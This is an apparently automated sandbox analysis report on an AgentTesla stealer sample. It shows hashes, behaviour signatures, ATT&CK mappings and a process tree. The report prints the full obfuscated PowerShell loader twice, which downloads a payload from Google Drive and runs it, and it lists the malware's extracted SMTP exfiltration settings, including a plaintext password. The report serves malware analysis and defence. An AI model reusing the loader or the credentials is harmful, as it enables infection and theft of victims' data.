agenttesla | 41023e7d20a9b5e7facec511e5a04d2fa0804a12ce3527de82f08db3ce7b6ff9

General

Target

SKIIP 83EC125T1 22-0-05-24RQ.vbs
Size

5KB
MD5

62bc79cdf5d55f891ae6d2a662cb87fc
SHA1

2ab352feb12da98eca4c5ec9ce4b349f5731ab50
SHA256

d14ef42bd2f3ecb7ff2e7ea8b7fd79b06f5b048c2f181381b5f8b790b7228f3b
SHA512

1335d32fa999b5f3729f0b94caf214e09b78c9f3108c05e8fb6fddb828f7d8049a17c2e1b72ca12203ebdda0141d22c326e1986057677fdb9efe6970638c7db2
SSDEEP

96:QsLisJvmYz2W6/F5J9eI8L7YMH8NJPW0agOVTLU5VFPB5Gv9rmJ/pCz6cfp:QJs7R6/F53IYG8NJu0aTV/cFaFrmxpCv

Score

10^/10

agenttesla keylogger persistence spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
mail.medicalhome.com.pe
Port:
587
Username:
[email protected]
Password:
MHinfo01
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

5 2708 powershell.exe
7 2708 powershell.exe

flow	pid	process
5	2708	powershell.exe
7	2708	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

wab.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000\Software\Microsoft\Windows\CurrentVersion\Run\GrOcCQC = "C:\\Users\\Admin\\AppData\\Roaming\\GrOcCQC\\GrOcCQC.exe"	wab.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service
T1102

Processes:

flow ioc

4 drive.google.com
5 drive.google.com
9 drive.google.com
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

13 ip-api.com
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

Processes:

wab.exe

pid process

2724 wab.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exewab.exe

pid process

2468 powershell.exe
2724 wab.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 2468 set thread context of 2724 2468 powershell.exe wab.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exepowershell.exewab.exe

pid process

2708 powershell.exe
2468 powershell.exe
2468 powershell.exe
2724 wab.exe
2724 wab.exe
Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

powershell.exe

pid process

2468 powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exewab.exe

description pid process

Token: SeDebugPrivilege 2708 powershell.exe
Token: SeDebugPrivilege 2468 powershell.exe
Token: SeDebugPrivilege 2724 wab.exe

flow	ioc
4	drive.google.com
5	drive.google.com
9	drive.google.com

flow	ioc
13	ip-api.com

pid	process
2724	wab.exe

pid	process
2468	powershell.exe
2724	wab.exe

description	pid	process	target process
PID 2468 set thread context of 2724	2468	powershell.exe	wab.exe

pid	process
2708	powershell.exe
2468	powershell.exe
2468	powershell.exe
2724	wab.exe
2724	wab.exe

pid	process
2468	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2708	powershell.exe
Token: SeDebugPrivilege	2468	powershell.exe
Token: SeDebugPrivilege	2724	wab.exe

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

WScript.exepowershell.exepowershell.exe

description	pid	process	target process
PID 1008 wrote to memory of 2708	1008	WScript.exe	powershell.exe
PID 1008 wrote to memory of 2708	1008	WScript.exe	powershell.exe
PID 1008 wrote to memory of 2708	1008	WScript.exe	powershell.exe
PID 2708 wrote to memory of 2492	2708	powershell.exe	cmd.exe
PID 2708 wrote to memory of 2492	2708	powershell.exe	cmd.exe
PID 2708 wrote to memory of 2492	2708	powershell.exe	cmd.exe
PID 2708 wrote to memory of 2468	2708	powershell.exe	powershell.exe
PID 2708 wrote to memory of 2468	2708	powershell.exe	powershell.exe
PID 2708 wrote to memory of 2468	2708	powershell.exe	powershell.exe
PID 2708 wrote to memory of 2468	2708	powershell.exe	powershell.exe
PID 2468 wrote to memory of 2380	2468	powershell.exe	cmd.exe
PID 2468 wrote to memory of 2380	2468	powershell.exe	cmd.exe
PID 2468 wrote to memory of 2380	2468	powershell.exe	cmd.exe
PID 2468 wrote to memory of 2380	2468	powershell.exe	cmd.exe
PID 2468 wrote to memory of 2724	2468	powershell.exe	wab.exe
PID 2468 wrote to memory of 2724	2468	powershell.exe	wab.exe
PID 2468 wrote to memory of 2724	2468	powershell.exe	wab.exe
PID 2468 wrote to memory of 2724	2468	powershell.exe	wab.exe
PID 2468 wrote to memory of 2724	2468	powershell.exe	wab.exe
PID 2468 wrote to memory of 2724	2468	powershell.exe	wab.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\SKIIP 83EC125T1 22-0-05-24RQ.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1008
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Ramon='Sub';$Ramon+='strin';$Rkkeudviklingers = 1;$Ramon+='g';Function menuetter($Fusicladium){$Nationalitetsmrkers=$Fusicladium.Length-$Rkkeudviklingers;For($Grindehval=1;$Grindehval -lt $Nationalitetsmrkers;$Grindehval+=2){$Rejektioner+=$Fusicladium.$Ramon.Invoke( $Grindehval, $Rkkeudviklingers);}$Rejektioner;}function Birthed14($Taalbond24){& ($Psychologism) ($Taalbond24);}$Dybfrosnes=menuetter ' M o,zCiSlmlAa./,5S.K0. (GWNiInFdFo,wOs NN T .1R0C. 0H;L WPiInM6s4 ;T BxP6P4.;. rEv,:,1D2P1a.S0I). .GCeLcOkKo,/ 2D0F1B0.0 1,0E1 HFRi rBePfSo,x,/C1 2S1,.K0O ';$Emigreringers=menuetter ' U sMe r.- Asg.eKnTtM ';$Grundvandsreservoirets=menuetter ' h.tStAp s : /M/KdUr,iovHe,. gAocoEgAl.eA.ScDo ml/LuPc,?He x,pJoDr t,=PdOoCw,n lHo aUd &Bi d = 1O-CydPMM,F K.R u.FSL.JCkUcBf 2eLKzRs,_OlPmCH m.E j,QHo l u,c 2tf. ';$Infructuose=menuetter 'G>g ';$Psychologism=menuetter ' i eFxa ';$Wrightry='Danoranja';$Leukoctyoid = menuetter ' eAc hLoD K%Ua p.pHdVaGt ak%U\SM i a uBl.e d .,B.iNo. .&E& Ue,c.h.oP Ot, ';Birthed14 (menuetter '.$ g lMo b a l :.S mTu d spt.i.tslAeSrOnme sS=S(Ac m db /Pch $ L,eTuRkGoScnt,y,o,i d )S ');Birthed14 (menuetter ' $ g.lMoDb,aRlK:LUeg e,n.t l iTgG= $ G r uRnBd vPaPnpd s.r.e s eFrPvFoMiar,eSt,sM.rsLpCl iAt (A$AI.nAfBr uJc,tSu.o.sPe )F ');$Grundvandsreservoirets=$Ugentlig[0];$Elderwood= (menuetter ' $ g l o.b aBlS:CBFlHaFc,k.g uDaFrSdc= NFeKwD- O b.jMeFcUt. S yRs t.e mP. N e.ta..W eRbCC.l,iUePn t');$Elderwood+=$Smudstitlernes[1];Birthed14 ($Elderwood);Birthed14 (menuetter ' $ BTlCa cFkDg uBadr d .kHDeSaJdce rFsM[U$ E,m,iEgUrSe r,iAn,gCetr s,] =D$ DYyBb fFr oVsTnAeRsP ');$Afsones=menuetter 'M$CBPlNaAc k.gPu aRr d.. D odwBnSl o,a d FMiTl,eL( $SG,r,u n dAv a n dOs rBeSsCe r vSo,isrDeFt s,,m$.UNg uNd eSl,iTgPhVe dR)D ';$Ugudelighed=$Smudstitlernes[0];Birthed14 (menuetter ',$ gIl.oRb a l :.v e n,sHkPaDb.eBr,sV=B(,TAe sBtR-TP aRtch D$kU gbuMdSe.lSi g.h ePd ) ');while (!$venskabers) {Birthed14 (menuetter 'F$Ug,lPo.bGaMl :AE r,eBl oAnTgR= $ t rIu eG ') ;Birthed14 $Afsones;Birthed14 (menuetter ',SLttaMrgt.- SCl.e,eRpA D4k ');Birthed14 (menuetter 'D$Tg l oFb aNlF:BvRe,nesck.aZbSe r sC=.( T e sRtS-RPDaAtKh $HU.g u.dFe.l,img.hPe.ds). ') ;Birthed14 (menuetter ',$FgMl o bPa lH: S,tTi.vTeTr.eBnS= $.g l.o.bBa lT:CMDaOl,tTy,+F+C%K$HUNgSeUn tMlFi g..Sc o.u nStD ') ;$Grundvandsreservoirets=$Ugentlig[$Stiveren];}$Underindeksets=367934;$Opsamling=26710;Birthed14 (menuetter ' $Fg l oKbEa.l :.M iWl.iKeSuLb e s.kly,tSt ePl sSe sAiDnHtLePrReTs s.e.r.nBeMsS U= IG eTtu- CBo,n tHe,n t U$RU g u,d e.l,iDg hSe.d ');Birthed14 (menuetter ' $.gIlNoGbUa.lM:ApPe rRq u,i sNiDtAe sU e=, [ S y s t e mV. CLo.n.vPeIr tT]K:S:KF,r,oRmFBMaSsUeG6S4 SPtyrOi.nFgT(d$.MTiJl iSe uEbBe sSk.y tStReBl sCe,s iNn tGeFr,e s sfe.r noe sj) ');Birthed14 (menuetter '.$ZgAl,oIb aTlS:.P r,iEn tSeFrEp,r,oIgPrTaEm m e,r sN O=R ,[SSiy sDt,e.mE.,T e x tC. EEn.cSoSd i nIg.],:,: AOS,C I I . GGeOtSS.tBr i n g,(.$,pSe.r.q u iBsaibtpegs ), ');Birthed14 (menuetter 'S$,gMl oBbAa,lG:NRAeGvPe.lCa.bDi l.i t y.=J$sP r.idnNt,eGrFp.rCoHgErEa mSm eArEs,. sGu b sLt.rMi nhg.(O$,UCnYd ePrGiDnFd etkRste tcs ,O$TO,pIsFalm.l i.n,gS) ');Birthed14 $Revelability;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2708
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Miauled.Bio && echo t"
    3⤵
    PID:2492
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Ramon='Sub';$Ramon+='strin';$Rkkeudviklingers = 1;$Ramon+='g';Function menuetter($Fusicladium){$Nationalitetsmrkers=$Fusicladium.Length-$Rkkeudviklingers;For($Grindehval=1;$Grindehval -lt $Nationalitetsmrkers;$Grindehval+=2){$Rejektioner+=$Fusicladium.$Ramon.Invoke( $Grindehval, $Rkkeudviklingers);}$Rejektioner;}function Birthed14($Taalbond24){& ($Psychologism) ($Taalbond24);}$Dybfrosnes=menuetter ' M o,zCiSlmlAa./,5S.K0. (GWNiInFdFo,wOs NN T .1R0C. 0H;L WPiInM6s4 ;T BxP6P4.;. rEv,:,1D2P1a.S0I). .GCeLcOkKo,/ 2D0F1B0.0 1,0E1 HFRi rBePfSo,x,/C1 2S1,.K0O ';$Emigreringers=menuetter ' U sMe r.- Asg.eKnTtM ';$Grundvandsreservoirets=menuetter ' h.tStAp s : /M/KdUr,iovHe,. gAocoEgAl.eA.ScDo ml/LuPc,?He x,pJoDr t,=PdOoCw,n lHo aUd &Bi d = 1O-CydPMM,F K.R u.FSL.JCkUcBf 2eLKzRs,_OlPmCH m.E j,QHo l u,c 2tf. ';$Infructuose=menuetter 'G>g ';$Psychologism=menuetter ' i eFxa ';$Wrightry='Danoranja';$Leukoctyoid = menuetter ' eAc hLoD K%Ua p.pHdVaGt ak%U\SM i a uBl.e d .,B.iNo. .&E& Ue,c.h.oP Ot, ';Birthed14 (menuetter '.$ g lMo b a l :.S mTu d spt.i.tslAeSrOnme sS=S(Ac m db /Pch $ L,eTuRkGoScnt,y,o,i d )S ');Birthed14 (menuetter ' $ g.lMoDb,aRlK:LUeg e,n.t l iTgG= $ G r uRnBd vPaPnpd s.r.e s eFrPvFoMiar,eSt,sM.rsLpCl iAt (A$AI.nAfBr uJc,tSu.o.sPe )F ');$Grundvandsreservoirets=$Ugentlig[0];$Elderwood= (menuetter ' $ g l o.b aBlS:CBFlHaFc,k.g uDaFrSdc= NFeKwD- O b.jMeFcUt. S yRs t.e mP. N e.ta..W eRbCC.l,iUePn t');$Elderwood+=$Smudstitlernes[1];Birthed14 ($Elderwood);Birthed14 (menuetter ' $ BTlCa cFkDg uBadr d .kHDeSaJdce rFsM[U$ E,m,iEgUrSe r,iAn,gCetr s,] =D$ DYyBb fFr oVsTnAeRsP ');$Afsones=menuetter 'M$CBPlNaAc k.gPu aRr d.. D odwBnSl o,a d FMiTl,eL( $SG,r,u n dAv a n dOs rBeSsCe r vSo,isrDeFt s,,m$.UNg uNd eSl,iTgPhVe dR)D ';$Ugudelighed=$Smudstitlernes[0];Birthed14 (menuetter ',$ gIl.oRb a l :.v e n,sHkPaDb.eBr,sV=B(,TAe sBtR-TP aRtch D$kU gbuMdSe.lSi g.h ePd ) ');while (!$venskabers) {Birthed14 (menuetter 'F$Ug,lPo.bGaMl :AE r,eBl oAnTgR= $ t rIu eG ') ;Birthed14 $Afsones;Birthed14 (menuetter ',SLttaMrgt.- SCl.e,eRpA D4k ');Birthed14 (menuetter 'D$Tg l oFb aNlF:BvRe,nesck.aZbSe r sC=.( T e sRtS-RPDaAtKh $HU.g u.dFe.l,img.hPe.ds). ') ;Birthed14 (menuetter ',$FgMl o bPa lH: S,tTi.vTeTr.eBnS= $.g l.o.bBa lT:CMDaOl,tTy,+F+C%K$HUNgSeUn tMlFi g..Sc o.u nStD ') ;$Grundvandsreservoirets=$Ugentlig[$Stiveren];}$Underindeksets=367934;$Opsamling=26710;Birthed14 (menuetter ' $Fg l oKbEa.l :.M iWl.iKeSuLb e s.kly,tSt ePl sSe sAiDnHtLePrReTs s.e.r.nBeMsS U= IG eTtu- CBo,n tHe,n t U$RU g u,d e.l,iDg hSe.d ');Birthed14 (menuetter ' $.gIlNoGbUa.lM:ApPe rRq u,i sNiDtAe sU e=, [ S y s t e mV. CLo.n.vPeIr tT]K:S:KF,r,oRmFBMaSsUeG6S4 SPtyrOi.nFgT(d$.MTiJl iSe uEbBe sSk.y tStReBl sCe,s iNn tGeFr,e s sfe.r noe sj) ');Birthed14 (menuetter '.$ZgAl,oIb aTlS:.P r,iEn tSeFrEp,r,oIgPrTaEm m e,r sN O=R ,[SSiy sDt,e.mE.,T e x tC. EEn.cSoSd i nIg.],:,: AOS,C I I . GGeOtSS.tBr i n g,(.$,pSe.r.q u iBsaibtpegs ), ');Birthed14 (menuetter 'S$,gMl oBbAa,lG:NRAeGvPe.lCa.bDi l.i t y.=J$sP r.idnNt,eGrFp.rCoHgErEa mSm eArEs,. sGu b sLt.rMi nhg.(O$,UCnYd ePrGiDnFd etkRste tcs ,O$TO,pIsFalm.l i.n,gS) ');Birthed14 $Revelability;"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2468
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Miauled.Bio && echo t"
      4⤵
      PID:2380
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      Adds Run key to start application
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2724

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Miauled.Bio

Filesize
513KB

MD5
5b57c4407f9d0632c096d9a498cae912

SHA1
47b678f24bd4058986a9d87e06fe3826bda70f65

SHA256
4d198b43eb5c549aca827741cbb753ddb35bb444cb0599a8afe355f110d74fe6

SHA512
bffa2c0c420bd29fca818d9acbd60a637e8f51dbdc789d26decf7169cda9f641deeba8e89aef9ecb74be67c4cb3080269650b55e70da7d1aa095169e4d43f670

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\FTJYR8HQ3ZT2KRSNK287.temp

Filesize
7KB

MD5
5ade5b3f75daf09c9c6e3be62a2b32ef

SHA1
70b6d27c3a84f3cd075cb6d5aa903db870592e65

SHA256
4cd2bd3d122dd20154e10d44ce4722aaa1d6b073a9dd2b3e11ac1613ef781d34

SHA512
1051b4e515e1688e981b71c54c81ae43df4b905673217a1acf3058799a4ed6e9e0b658cf64625677e4532996f3015463a06cb93702be5995a5a4ddd459026e2b

Download Submit
memory/2468-17-0x0000000006640000-0x0000000008702000-memory.dmp

Filesize
32.8MB

Download
memory/2708-7-0x0000000002340000-0x0000000002348000-memory.dmp

Filesize
32KB

Download
memory/2708-8-0x000007FEF5440000-0x000007FEF5DDD000-memory.dmp

Filesize
9.6MB

Download
memory/2708-9-0x000007FEF5440000-0x000007FEF5DDD000-memory.dmp

Filesize
9.6MB

Download
memory/2708-4-0x000007FEF56FE000-0x000007FEF56FF000-memory.dmp

Filesize
4KB

Download
memory/2708-6-0x000000001B730000-0x000000001BA12000-memory.dmp

Filesize
2.9MB

Download
memory/2708-15-0x000007FEF5440000-0x000007FEF5DDD000-memory.dmp

Filesize
9.6MB

Download
memory/2708-16-0x000007FEF56FE000-0x000007FEF56FF000-memory.dmp

Filesize
4KB

Download
memory/2708-5-0x000007FEF5440000-0x000007FEF5DDD000-memory.dmp

Filesize
9.6MB

Download
memory/2708-41-0x000007FEF5440000-0x000007FEF5DDD000-memory.dmp

Filesize
9.6MB

Download
memory/2724-39-0x0000000000280000-0x00000000012E2000-memory.dmp

Filesize
16.4MB

Download
memory/2724-42-0x0000000000280000-0x00000000002F6000-memory.dmp

Filesize
472KB

Download

Resubmissions

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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